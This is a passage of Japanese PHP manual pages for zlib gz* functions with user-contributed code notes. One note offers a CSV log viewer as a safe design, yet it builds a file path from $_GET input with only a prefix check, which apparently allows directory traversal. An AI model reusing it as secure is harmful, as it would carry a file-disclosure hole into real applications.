Fatal error:  Allowed memory size of 314572800 bytes exhausted (tried to allocate 300000000 bytes) in
?>

In short: We were unable to determine the actual use of the second parameter in certain situations.
Be careful with using the second parameter $length!
niblett at gmail dot com 07-Jun-2012 02:08
alternative, with detection for optional filename header
<?php
function gzdecode($data) {

        // check if filename field is set in FLG, is 4th byte
        $hex = bin2hex($data);

        $flg = (int)hexdec(substr($hex, 6, 2));

        // remove headers
        $hex = substr($hex, 20);

        $ret = '';
        if (  ($flg & 0x8) == 8 ){
                print "ello";
                for ( $i = 0; $i < strlen($hex); $i += 2 ){
                        $value = substr($hex, $i, 2);
                        if ( $value == '00' ){
                                $ret = substr($hex, ($i+2));
                                break;
                        }
                }
        }
        return gzinflate(pack('H*', $ret));
}
?>
Steven Lustig 05-Nov-2010 09:44
You can use this to uncompress a string from Linux command line gzip by stripping the first 10 bytes:

<?php
$inflatedOutput = gzinflate(substr($output, 10, -8));
?>
vitall at ua dot fm 09-Sep-2009 05:10
The correct function for gzip and chunked data particularly when you get "Content-Encoding: gzip" and "Transfer-Encoding: chunked" headers:

<?php
function decode_gzip($h,$d,$rn="\r\n"){
if (isset($h['Transfer-Encoding'])){
 $lrn = strlen($rn);
 $str = '';
 $ofs=0;
 do{
    $p = strpos($d,$rn,$ofs);
    $len = hexdec(substr($d,$ofs,$p-$ofs));
    $str .= substr($d,$p+$lrn,$len);
     $ofs = $p+$lrn*2+$len;
 }while ($d[$ofs]!=='0');
 $d=$str;
}
if (isset($h['Content-Encoding'])) $d = gzinflate(substr($d,10));
return $d;
}
?>

Enjoy!
John 12-Jun-2008 10:22
And when retrieving mod_deflate gzip'ed content and using gzinflate() to decode the data, be sure to strip the first 11 chars from the retrieved content.

<?php $dec = gzinflate(substr($enc,11)); ?>
patatraboum at free dot fr 24-Aug-2007 10:57
Some gz string strip header and return inflated
It actualy processes some first member of the gz
See rfc1952 at http://www.faqs.org/rfcs/rfc1952.html for more details and improvment as gzdecode

<?php
function gzBody($gzData){
    if(substr($gzData,0,3)=="\x1f\x8b\x08"){
        $i=10;
        $flg=ord(substr($gzData,3,1));
        if($flg>0){
            if($flg&4){
                list($xlen)=unpack('v',substr($gzData,$i,2));
                $i=$i+2+$xlen;
            }
            if($flg&8) $i=strpos($gzData,"\0",$i)+1;
            if($flg&16) $i=strpos($gzData,"\0",$i)+1;
            if($flg&2) $i=$i+2;
        }
        return gzinflate(substr($gzData,$i,-8));
    }
    else return false;
}
?>
spikeles_ at hotmail dot com 01-Nov-2006 08:12
This can be used to inflate streams compressed by the Java class java.util.zip.Deflater but you must strip the first 2 bytes off it. ( much like the above comment )

<?php $result = gzinflate(substr($compressedData, 2)); ?>
boris at gamate dot com 08-Jul-2003 05:49
When retrieving mod_gzip'ed content and using gzinflate() to decode the data, be sure to strip the first 10 chars from the retrieved content.

<?php $dec = gzinflate(substr($enc,10)); ?>


gz ファイルを開く

  • ≪ gzinflate
  • gzpassthru ≫
  • PHP Manual
  • Zlib 関数
  • gz ファイルを開く

gzopen

(PHP 4, PHP 5, PHP 7, PHP 8)

gzopen — gz ファイルを開く

説明

gzopen ( string $filename , string $mode , int $use_include_path = 0 ) : resource|false

読み込みもしくは書き込みのために gzip (.gz) ファイルをオープンします。

gzopen() は、gzip フォーマットでないファイルの読み込みについても使用することができます。 この場合、gzread()は、ファイルを解凍せずに直接読み 込まれます。

パラメータ

filename

ファイル名を指定します

mode

fopen() と同じ (rb または wb) ですが、 圧縮レベル (wb9) または圧縮の方策、 つまり、wb6f のようにフィルターを通したデータを f で指定したり、h でハフマン圧縮のみを行うことを指定したりすることができます (方策に関するパラメータの詳細については、zlib.h の中の deflateInit2 の説明を参照ください)。

use_include_path

このオプションパラメータを 1 にすることにより、 include_pathにあるファイルも 検索することができます。

返り値

オープンしたファイルへのファイルポインタを返します。その後、 このファイルディスクプリタから読み込んだ全ては透過的に解凍され、 書き込んだものは圧縮されます。

オープンに失敗した場合、この関数は false を返します。

例

例1 gzopen() の例

<?php
$fp = gzopen("/tmp/file.gz", "r");
?>

参考

  • gzclose() - 開かれたgzファイルへのポインタを閉じる

User Contributed Notes

chasjfish at gmail dot com 07-Mar-2019 06:58
There is an active feature request for an xzopen function. The xz program uses the LZMA algorithm for much higher compression ratios than gzip.

Until such time that xzopen might be available, here is my best design for safely reading .xz files which originate remotely and are not trusted.

Below is a CSV log viewer - there is a lot going on here, so I will explain it below:

<?

$PRG_NAME = basename($_SERVER['PHP_SELF'], '.php');
$PRG_LEN = strlen($PRG_NAME);

if(substr($z = $_GET['CSV'], 0, $PRG_LEN) == $PRG_NAME)
{
 header('content-type:application/csv;CHARSET=shift-jis');
 header('Content-Disposition:attachment;filename="' .
   $_GET['CSV'] . '.csv"');

 if('.xz' == substr($z, -3))
 {
        $tmpfname = tempnam("/tmp", "php-log-viewer");
        $fpx = fopen($tmpfname, 'w');
        fprintf($fpx, "/var/app/log/%s\0", $z);
        fclose($fpx);

        $fp = popen("xz -cd --files0=" . $tmpfname, 'r');
 }
 else   $fp = fopen('/var/app/log/' . $z, 'r');

 while($line = fgets($fp))
  echo '"' . preg_replace('/[~]/', '","', rtrim($line)) . "\"\n";

 fclose($fp); if(is_file($tmpfname)) unlink($tmpfname); exit;
}

?>

The logs are tilde-delimited files (~) in the /var/app/log directory which the code above converts to CSV and injects into Excel. They are regularly compressed by cron, but the latest logs will be uncompressed text files. A separate section of my code (not included here) presents them via opendir()/readdir()/stat().

The file prefix that the viewer will allow the user to see is determined by the name of the script - if I name it FTP-LOG.php, then any file beginning with /var/app/log/FTP-LOG can be read. I am enabling the viewer for different prefixes by making hard links to the script.

Since the log might not (yet) be compressed, I check the extension - if .xz is detected, then the gymnastics begin.

It is not safe to pass form content from remote users to a UNIX shell, and I am trying to avoid this. Fortunately, xz has the --files and --files0 options, and I create a temporary filename, record the file of interest in it, then open an xz process for reading (otherwise, a simple fopen() will suffice). Recording a \0 allows safer processing of files with embedded newlines (which is allowed by POSIX), and is immediately familiar to fans of "find -print0" and "xargs -0".

Unfortunately, neither bzip2 nor lzip have have a --files[0] option. It is quite useful in this case, and appears to improve security.
dj8 at joesvolcano dot net 11-Sep-2015 02:17
An OO-version of David Gero's excellent GZ File format note also on this page:

<?php

// David Gero's example: read a file and output GZ
$gz_to_out = new GZTempFile(basename($file), "php://output");
$fin = fopen($file, "rb");
while($data = fread($fin, 64 * 1024)) {
    $gz_to_out->fwrite();
}
close($fin);
$gz_to_out->flushBuffer();

// Example of building your GZ file content on the fly (temp filehandle)
$gz_custom = new GZTempFile();
foreach ( ... ) {
    //  Some work
    $str = ...

    $gz_custom->fwrite($str);
}
//  Store it in a database
$m = new MongoClient();
$gridfs = $m->selectDB('test')->getGridFS();
$id = $gridfs->storeFile($gz_custom->getReadFilehandle(), array('contentType' => 'application/x-gzip'));

class GZTempFile {
    private $__fh = null;
    public $uncompressed_bytes = 0;
    public $filesize = null;
    private $gz_filter = null;
    private $file_hash = null;
    private $final_read_fh = false;
    private $__buffer = '';
    private $__buffer_len = 0;

    public function __construct($filename = 'data', $fh = null) {
        $this->__fh = is_null($fh) ? fopen('php://temp','w+') : $fh;
        fwrite($this->__fh, "\x1F\x8B\x08\x08".pack("V", time())."\0\xFF", 10); // GZ file header
        fwrite($this->__fh, str_replace("\0", "", basename($filename)) ."\0");  // GZ filename = data, needed???
        $this->gz_filter = stream_filter_append($this->__fh, "zlib.deflate", STREAM_FILTER_WRITE, -1);
        $this->uncompressed_bytes = 0;
        $this->file_hash = hash_init("crc32b");
    }

    public function fwrite($str,$length = null) {
        if ( $this->final_read_fh ) { throw new Exception("GZTempFile has already been finalized and closed.  No more writing"); }
        hash_update($this->file_hash, $str);
        $this->uncompressed_bytes += strlen($str);
        $this->__buffer_len += strlen($str);
        $this->__buffer .= $str;
        if ( $this->__buffer_len >= 64 * 1024 ) { $this->flushBuffer(); }
    }
    public function flushBuffer() {
        if ( $this->__buffer_len == 0 ) { return false; }
        $return = fwrite($this->__fh, $this->__buffer);
        $this->__buffer_len = 0;
        $this->__buffer = '';
        return $return;
    }

    public function getReadFilehandle() {
        if ( ! $this->final_read_fh ) {
            $this->flushBuffer();
            stream_filter_remove($this->gz_filter);
            $crc = hash_final($this->file_hash, TRUE);            // hash_final is a string, not an integer
            fwrite($this->__fh, $crc[3].$crc[2].$crc[1].$crc[0]); // need to reverse the hash_final string so it's little endian
            fwrite($this->__fh, pack("V", $this->uncompressed_bytes), 4);

            $this->filesize = ftell($this->__fh);
            rewind($this->__fh);
            $this->final_read_fh = $this->__fh;
        }
        return $this->final_read_fh;
    }
}
David Gero dave at havidave dot com 06-Sep-2011 02:02
gzopen("php://output","wb") doesn't work on a web server, nor does fopen("compress.zlib://php://output","wb").

Here is a snippet to gzip a file and output it on the fly, without using a temporary file, without reading the file into memory, and without reading the file more than once:

<?php
$fin = fopen($file, "rb");
if ($fin !== FALSE) {
    $fout = fopen("php://output", "wb");
    if ($fout !== FALSE) {
    // write gzip header
    fwrite($fout, "\x1F\x8B\x08\x08".pack("V", filemtime($file))."\0\xFF", 10);
    // write the original file name
    $oname = str_replace("\0", "", basename($file));
    fwrite($fout, $oname."\0", 1+strlen($oname));
    // add the deflate filter using default compression level
    $fltr = stream_filter_append($fout, "zlib.deflate", STREAM_FILTER_WRITE, -1);
    // set up the CRC32 hashing context
    $hctx = hash_init("crc32b");
    // turn off the time limit
    if (!ini_get("safe_mode")) set_time_limit(0);
    $con = TRUE;
    $fsize = 0;
    while (($con !== FALSE) && !feof($fin)) {
        // deflate works best with buffers >32K
        $con = fread($fin, 64 * 1024);
        if ($con !== FALSE) {
        hash_update($hctx, $con);
        $clen = strlen($con);
        $fsize += $clen;
        fwrite($fout, $con, $clen);
        }
    }
    // remove the deflate filter
    stream_filter_remove($fltr);
    // write the CRC32 value
    // hash_final is a string, not an integer
    $crc = hash_final($hctx, TRUE);
    // need to reverse the hash_final string so it's little endian
    fwrite($fout, $crc[3].$crc[2].$crc[1].$crc[0], 4);
    // write the original uncompressed file size
    fwrite($fout, pack("V", $fsize), 4);
    fclose($fout);
    }
    fclose($fin);
}
?>
plasma 05-Sep-2008 08:06
This worked unstable for me under high load (50+ files per second):

<?php
    $gz = gzopen ( $file, 'w9' );
    gzwrite ( $gz, $content );
    gzclose ( $gz );
?>

The following works fine:

<?php
    $f = fopen ( $file, 'w' );
    fwrite ( $f, gzcompress ( $content, 9 ) );
    fclose ( $f );
?>
katzlbtjunk at hotmail dot com 23-Apr-2008 12:15
WARNING gzopen and gzread have a major disadvantage. They makes NO checksum and NO length verification of the gzipped data and discard this valuable information. This should be documented here.
rob at digital-crocus dot com 01-Jun-2005 05:28
dtorop932 at hotmail dot com's comments, according to my tests, is incorrect. That code wishes to download the entire file before parsing, which is inconvinient. The wget method works though.
pentek_imre at mailbox dot hu 29-Jan-2005 10:36
Be aware that when opening a remote file on a http server the gzopen will return by default false after 120 seconds waiting to any answer.
dtorop932 at hotmail dot com 21-Oct-2004 12:04
RE dubious's comment: "Being able to read gzip streams from ftp and http is near the top of my personal wishlist at the moment..."

One way to read a gzip stream over http is to daisychain stream wrappers, e.g.:

<?
$fp = fopen("compress.zlib://http://some.website.org/example.gz", "r");
?>
-delete-this-part-dubious at 2xtreme dot net 02-Jan-2002 07:22
"On the fly" gunzipping actually DOES seem to work - it just appears that only LOCAL streams/files (including php://stdin) can be accessed for some reason.  I THINK (but have not yet tested) that you could similarly gzopen "php://stdout" and pass a stream of gzipped data to the browser (when run from a web page) or console (when run standalone) through there.

I HAVE tested scripts from the command line like:

wget -q -O- ftp://some.host.net/pub/some_gzip_file.gz | php gunzip_stuff.php

where gunzip_stuff.php would be a script that gzopened "php://stdin" and did gzgets from that stream, and it seems to work fine, but that obviously doesn't help someone wanting to grab gzipped streams from remote sites from a web-based script.

Being able to read gzip streams from ftp and http is near the top of my personal wishlist at the moment...


gzファイルへのポインタから残りのデータ全部を出力する

  • ≪ gzopen
  • gzputs ≫
  • PHP Manual
  • Zlib 関数
  • gzファイルへのポインタから残りのデータ全部を出力する

gzpassthru

(PHP 4, PHP 5, PHP 7, PHP 8)

gzpassthru — gzファイルへのポインタから残りのデータ全部を出力する

説明

gzpassthru ( resource $stream ) : int

gz ファイルポインタについて現在位置から EOF までデータを読み込み、 標準出力に (伸長された) 結果を書き込みます。

注意:

すでにデータをファイルに書き込んでいる場合、 ファイルポインタをファイルの先頭にセットするために gzrewind() をコールする必要があるかも知れません。

ヒント

修正や特定のオフセットへの移動なしに ファイルの内容を出力バッファにダンプしたいだけの場合、 readgzfile() 関数を使用することもできます。 これにより、gzopen() をコールする手間を省くことができます。

パラメータ

stream

gz ファイルポインタを指定します。これは有効なファイルポインタであり、 かつ、gzopen() によりオープンできたファイルを指している必要があります。

返り値

gz から読み込んで解凍され、入力に渡された文字数。 もしくはエラー時に false 。

例

例1 gzpassthru() の例

<?php
$fp = gzopen('file.gz', 'r');
gzpassthru($fp);
gzclose($fp);
?>

User Contributed Notes

There are no user contributed notes for this page.


gzwrite のエイリアス

  • ≪ gzpassthru
  • gzread ≫
  • PHP Manual
  • Zlib 関数
  • gzwrite のエイリアス

gzputs

(PHP 4, PHP 5, PHP 7, PHP 8)

gzputs — gzwrite() のエイリアス

説明

この関数は次の関数のエイリアスです。 gzwrite().

User Contributed Notes

There are no user contributed notes for this page.


バイナリ対応のgzファイル読み込み

  • ≪ gzputs
  • gzrewind ≫
  • PHP Manual
  • Zlib 関数
  • バイナリ対応のgzファイル読み込み

gzread

(PHP 4, PHP 5, PHP 7, PHP 8)

gzread — バイナリ対応のgzファイル読み込み

説明

gzread ( resource $stream , int $length ) : string|false

gzread() は、最大 length バイトのデータを zp が指す gz ファイルポインタ から読み込みます。(伸長された) length バイトのデータが読み込まれたか、 EOF に達したとき、読み込みは終了します。

パラメータ

stream

gz ファイルポインタを指定します。これは有効なファイルポインタであり、 かつ、gzopen() によりオープンできたファイルを指している必要があります。

length

読み込むバイト数を指定します。

返り値

読み込まれたデータ。 失敗した場合に false を返します

変更履歴

バージョン | 説明
7.4.0 | この関数は、失敗時に false を返すようになりました。 これより前のバージョンでは、0 を返していました。

例

例1 gzread() の例

<?php
// gz ファイルの内容を文字列に読み込む
$filename = "/usr/local/something.txt.gz";
$zd = gzopen($filename, "r");
$contents = gzread($zd, 10000);
gzclose($zd);
?>

参考

  • gzwrite() - バイナリセーフな gz ファイル書き込み
  • gzopen() - gz ファイルを開く
  • gzgets() - ファイルポインタから 1 行を得る
  • gzgetss() - gzファイルへのポインタから1行を得て、HTMLタグを取り除く
  • gzfile() - gzファイル全体を配列に読み込む
  • gzpassthru() - gzファイルへのポインタから残りのデータ全部を出力する

User Contributed Notes

waldermort at gmail dot com 26-Jul-2017 07:19
Be careful when reading data in a loop. gzread() behaves a little differently than bzread() or fread(), it does NOT return false when reading past the end of stream. It instead returns an empty string.

So a loop like:
$handle = gzopen($file);
while (false !== $chunk = gzread($handle, $bytes)) {
   //...
}

will loop indefinitely.
Nitrogen 17-Sep-2012 03:02
Here is a function for returning the uncompressed filesize of a gzip file. The filesize is stored as a 32-bit integer in the end of the compressed file, that's how this function works. Additionally, this function checks to see if it's a real gzip compressed file before doing the work; if it isn't, then just like other gz- functions, it'll treat it just like a regular file and perform a normal filesize operation. Enjoy!

<?php

function gzfilesize($filename) {
  $gzfs = FALSE;
  if(($zp = fopen($filename, 'r'))!==FALSE) {
    if(@fread($zp, 2) == "\x1F\x8B") { // this is a gzip'd file
      fseek($zp, -4, SEEK_END);
      if(strlen($datum = @fread($zp, 4))==4)
        extract(unpack('Vgzfs', $datum));
    }
    else // not a gzip'd file, revert to regular filesize function
      $gzfs = filesize($filename);
    fclose($zp);
  }
  return($gzfs);
}

?>
calin_ip at yahoo dot com 10-Nov-2010 03:55
Regarding finding out the lenght of the gz file.
For some reason the seek() function didn't worked, so, I've tried finding out the last 4 bytes using string functions.
That worked pretty well. Here is the code.
<?php
$stringu='my_beautiful_file.txt.gz';
$gzip=file_get_contents($stringu);
$rest = substr($gzip, -4);
$GZFileSize = end(unpack("V", $rest));

$FileRead = $stringu;
$HandleRead = gzopen($FileRead, "rb");
$ContentRead = gzread($HandleRead, $GZFileSize);
gzclose($HandleRead);
?>
denis at bitrix dot ru 16-Jul-2010 09:00
Note that this functions' behavior differs from fread in case of EOF.

When you read the last chunk (mean the last bytes from file), it is EOF just after gzread, but in case of fread you need to read once more to get EOF.

Hope, I am clear :)
robinv12001 at yahoo dot co dot in 10-Jun-2009 09:21
<?php
//Extracting the content of a gzip file in php and creating a new csv file using the content
//Create a folder uploads inside current folder
$local_file    =    'test.gz';

//To Get the size of the uncompressed file
$FileRead = $local_file;
$FileOpen = fopen($FileRead, "rb");
fseek($FileOpen, -4, SEEK_END);
$buf = fread($FileOpen, 4);
$GZFileSize = end(unpack("V", $buf));
fclose($FileOpen);
//To Get the size of the zip file

$fzip_size    =    $GZFileSize;

$filename    =    $local_file;
$ext        =    pathinfo($filename,PATHINFO_EXTENSION);
$file_name    =    pathinfo($filename,PATHINFO_FILENAME);
$file_name    =    $file_name.".csv";

$zd         =     gzopen($filename, "rb");
$contents     =     gzread($zd, $fzip_size);
gzclose($zd);
$file_name    =    "uploads/".$file_name;
$fp    =    fopen($file_name, "wb");
fwrite($fp, $contents); //write contents of feed to cache file
fclose($fp);
if(file_exists($file_name))
{
    chmod($file_name,0755);
    unlink($local_file);
}
?>
robinv12001 at yahoo dot co dot in 09-Jun-2009 02:18
<?php
//Using FTP Download a gzip file on current date from a remote server
//The gzip files are extracted
function parse_rawlist( $array )
{
    $i=0;
    foreach($array as $curraw)
    {
        $struc = array();
        $current = preg_split("/[\s]+/",$curraw,9);

        $struc['perms']      =     $current[0];
        $struc['number']     =     $current[1];
        $struc['owner']     =     $current[2];
        $struc['group']      =     $current[3];
        $struc['size']         =     $current[4];
        $struc['month']      =     $current[5];
        $struc['day']        =     $current[6];
        $struc['time']      =     $current[7];
        $struc['zfile_name']      =     $current[8];
     $structure[$i]      =     $struc;
    $i++;
    }
   return $structure;

}
ini_set('memory_limit', '100M');

//Give FTP Information Here
//------------------------------------------------------------
$ftp_server     =     "example.com";
$ftp_user_name    =    "example";
$ftp_user_pass    =    "test";
//------------------------------------------------------------
//------------------------------------------------------------
$local_path     =    '/opt/lampp/htdocs/sample/test.gz';//Local Path
$server_path     =     'outgoing/folder/';//Remote Sever Path
//------------------------------------------------------------

$conn_id = ftp_connect($ftp_server,21);
if($conn_id)
{
    echo "Successfully connected";
}

$login_result     =     ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
ftp_chdir($conn_id, $server_path);//Change Current Working Directory
$file_list     =    ftp_rawlist($conn_id,".");
$zip_details    =    parse_rawlist($file_list);
set_time_limit(1000);
$curr_date    =    strtotime(date("F d Y"));
for($i=0;$i<count($zip_details);$i++)
{
    $fname        =    $zip_details[$i]['zfile_name'];
    $mod_date1    =    $zip_details[$i]['month']." ".$zip_details[$i]['day']." ".date("Y");
    $mod_date    =    strtotime($mod_date1);//File Modified Date
    if($mod_date == $curr_date)//If modified date equals current date
    {
        $local_file    =    $fname;
        $server_file    =    $fname;
        if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY))
        {

            echo "<br/>Successfully written to $local_file\n";
        }
        else
        {
            echo "<br/>There was a problem\n";
        }
        if(file_exists($local_file))
        {
            $fzip_size    =    $zip_details[$i]['size'];
            $filename    =    $local_file;
            $ext        =    pathinfo($filename,PATHINFO_EXTENSION);
            $file_name    =    pathinfo($filename,PATHINFO_FILENAME);
            $file_name    =    $file_name.".csv";
            $zd         =     gzopen($filename, "r");
            $contents     =     gzread($zd, $fzip_size);
            $file_name    =    "uploads/".$file_name;
            file_put_contents($file_name,addslashes($contents));
            if(file_exists($file_name))
            {
                chmod($file_name,0755);
                unlink($local_file);
            }
            gzclose($zd);
        }
    }
}
ftp_close($conn_id);
?>
utku 08-Feb-2008 01:31
I don't think it would be wise to open a whole gzip file (it _is_ compressed for a reason, and likely to be a very big file) into a single string. You would most likely hit the php memory limits. Instead, if you need to process the file, put your gzread calls in a loop, and read incrementally by a setting $length to a constant value.
zaotong at yahoo dot com 07-Mar-2007 03:06
As was shown to me in another forum there is a way to get the uncompressed size of the gz file by viewing the last 4 bytes of the gz file.

Here is a piece of code that will do this
<?php
$FileRead = 'SomeText.txt';
$FileOpen = fopen($FileRead, "rb");
        fseek($FileOpen, -4, SEEK_END);
        $buf = fread($FileOpen, 4);
        $GZFileSize = end(unpack("V", $buf));
        fclose($FileOpen);
        $HandleRead = gzopen($FileRead, "rb");
        $ContentRead = gzread($HandleRead, $GZFileSize);
?>

This will read the last 4 bytes of the gz file and use it as the file int for the gzread.

Thanks to stereofrog for helping me with this code.


gz ファイルポインタの示す位置を元に戻す

  • ≪ gzread
  • gzseek ≫
  • PHP Manual
  • Zlib 関数
  • gz ファイルポインタの示す位置を元に戻す

gzrewind

(PHP 4, PHP 5, PHP 7, PHP 8)

gzrewind — gz ファイルポインタの示す位置を元に戻す

説明

gzrewind ( resource $stream ) : bool

与えられた gz ファイルポインタが指すファイルのファイル位置記述子を、 ファイルストリームの先頭にセットします。

パラメータ

stream

gz ファイルポインタを指定します。これは有効なファイルポインタであり、 かつ、gzopen() によりオープンできたファイルを指している必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • gzseek() - gz ファイルポインタの位置を移動する
  • gztell() - gz ファイルポインタの読み込み/書き込み位置を返します

User Contributed Notes

There are no user contributed notes for this page.


gz ファイルポインタの位置を移動する

  • ≪ gzrewind
  • gztell ≫
  • PHP Manual
  • Zlib 関数
  • gz ファイルポインタの位置を移動する

gzseek

(PHP 4, PHP 5, PHP 7, PHP 8)

gzseek — gz ファイルポインタの位置を移動する

説明

gzseek ( resource $stream , int $offset , int $whence = SEEK_SET ) : int

与えられたファイルポインタが指すファイルのファイル位置記述子を、 ファイルストリーム上の与えられた offset バイトにセットします。 gzseek(zp, offset, SEEK_SET) を (C 言語において) コールするのと同じです。

ファイルが読み込み用にオープンされた場合、この関数は、 エミュレーションされますが、極端に遅くなる可能性があります。 ファイルを書き込み用にオープンした場合、 前方への移動のみがサポートされます。この場合、gzseek() は、新しい開始位置までゼロの並びのデータを圧縮します。

パラメータ

stream

gz ファイルポインタを指定します。これは有効なファイルポインタであり、 かつ、gzopen() によりオープンできたファイルを指している必要があります。

offset

移動するオフセットを指定します。

whence

whence の値は次のいずれかです。

  • SEEK_SET - offset バイト目に設定します。
  • SEEK_CUR - 現在位置から offset ぶん進んだ位置に設定します。

whence を省略した場合は SEEK_SET とみなします。

返り値

成功した場合、0を返します。それ以外の場合は、-1を返します。 移動がEOFを超える場合にもエラーは発生しないことに注意してください。

例

例1 gzseek() の例

<?php
$gz = gzopen('somefile.gz', 'r');
gzseek($gz,2);
echo gzgetc($gz);
gzclose($gz);
?>

参考

  • gztell() - gz ファイルポインタの読み込み/書き込み位置を返します
  • gzrewind() - gz ファイルポインタの示す位置を元に戻す

User Contributed Notes

liuhaifeng at example dot com 15-Oct-2012 05:43
Since seek after the end is not considered an error, I doubt that "while (gzseek ($fh, $eof) == 0) $eof += $d;" will get into infinite loop.
dperham at wgate dot com 12-Apr-2005 08:47
PHP/4.3.9
contrary to the notes, gzseek() returns -1 if I try to seek past the end of the file.  here is a function that will return the last seekable position, and put the file pointer there.

/** sets the file pointer at the end of the file
 *  and returns the number of bytes in the file.
 */
function gzend($fh)
{
   $d   = 1<<14;
   $eof = $d;
   while ( gzseek($fh, $eof) == 0 ) $eof += $d;
   while ( $d > 1 )
   {
      $d >>= 1;
      $eof += $d * (gzseek($fh, $eof)? -1 : 1);
   }
   return $eof;
}


gz ファイルポインタの読み込み/書き込み位置を返します

  • ≪ gzseek
  • gzuncompress ≫
  • PHP Manual
  • Zlib 関数
  • gz ファイルポインタの読み込み/書き込み位置を返します

gztell

(PHP 4, PHP 5, PHP 7, PHP 8)

gztell — gz ファイルポインタの読み込み/書き込み位置を返します

説明

gztell ( resource $stream ) : int|false

与えられたファイルポインタが指す位置、つまり、 圧縮されていないファイルストリームにおけるオフセット値を返します。

パラメータ

stream

gz ファイルポインタを指定します。これは有効なファイルポインタであり、 かつ、gzopen() によりオープンできたファイルを指している必要があります。

返り値

ファイルポインタの位置、もしくはエラーが発生した場合 false

参考

  • gzopen() - gz ファイルを開く
  • gzseek() - gz ファイルポインタの位置を移動する
  • gzrewind() - gz ファイルポインタの示す位置を元に戻す

User Contributed Notes

Steve Ramage 18-Dec-2006 10:09
ok so this function returns the gz file pointer as the uncompressed data byte length so if you are trying to put something in to specific size gzip files it won't work.

Example:

<?
//some_file.sql  filesize = 2,048,000 bytes

$text_fp=fopen('some_file.sql','r');
$gz_fp=gzopen('some_file.sql.gz','wb9');
while(!feof($text_fp)){
    gzwrite($gz_fp,fread($text_fp,655360));
}
fclose($text_fp);
echo "gztell = ".gztell($gz_fp)."<BR>\n";
gzclose($gz_fp);
echo "filesize = ".filesize('some_file.sql.gz')."<BR>\n";
?>

Output:

gztell = 2048000
filesize = 249264

I will report this as a bug but post a note here for now


圧縮された文字列を解凍する

  • ≪ gztell
  • gzwrite ≫
  • PHP Manual
  • Zlib 関数
  • 圧縮された文字列を解凍する

gzuncompress

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

gzuncompress — 圧縮された文字列を解凍する

説明

gzuncompress ( string $data , int $max_length = 0 ) : string|false

この関数は圧縮された文字列を解凍します。

パラメータ

data

gzcompress() によって圧縮されたデータを指定します。

max_length

デコードするデータの最大長を指定します。

返り値

オリジナルの無圧縮なデータ、もしくはエラー時に false

この関数は、もし無圧縮なデータが圧縮された入力 data の 32768 倍、もしくはオプションのパラメータ max_length 以上の場合、エラーを返します。

例

例1 gzuncompress() の例

<?php
$compressed   = gzcompress('Compress me', 9);
$uncompressed = gzuncompress($compressed);
echo $uncompressed;
?>

参考

  • gzcompress() - 文字列を圧縮する
  • gzinflate() - deflate圧縮された文字列を解凍する
  • gzdeflate() - 文字列を deflate 圧縮する
  • gzencode() - gzip 圧縮された文字列を作成する

User Contributed Notes

anonymous at dekho-ji dot com 16-May-2013 11:38
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.
MagicalTux at php dot net 31-Dec-2010 01:36
Hi, I got an alternative for those zipped strings that gzuncompress() cannot extract.

It is a bit better than previous options as it do not create any temporary files, but it has to encode the string in base64, meaning it won't be as fast as a native equivalent (which is probably going to be gzdecode())

<?php
if (!function_exists('gzdecode')) {
    function gzdecode($string) { // no support for 2nd argument
        return file_get_contents('compress.zlib://data:who/cares;base64,'. base64_encode($string));
    }
}
?>
squeegee 23-Aug-2009 07:07
One way to uncompress zlib-compressed data that is in a file without first reading in the file and then gzuncompressing it (maybe you have memory problems doing it that way) is to compile the zpipe.c program from zlib ( http://www.zlib.net/zpipe.c )...

on linux, etc:

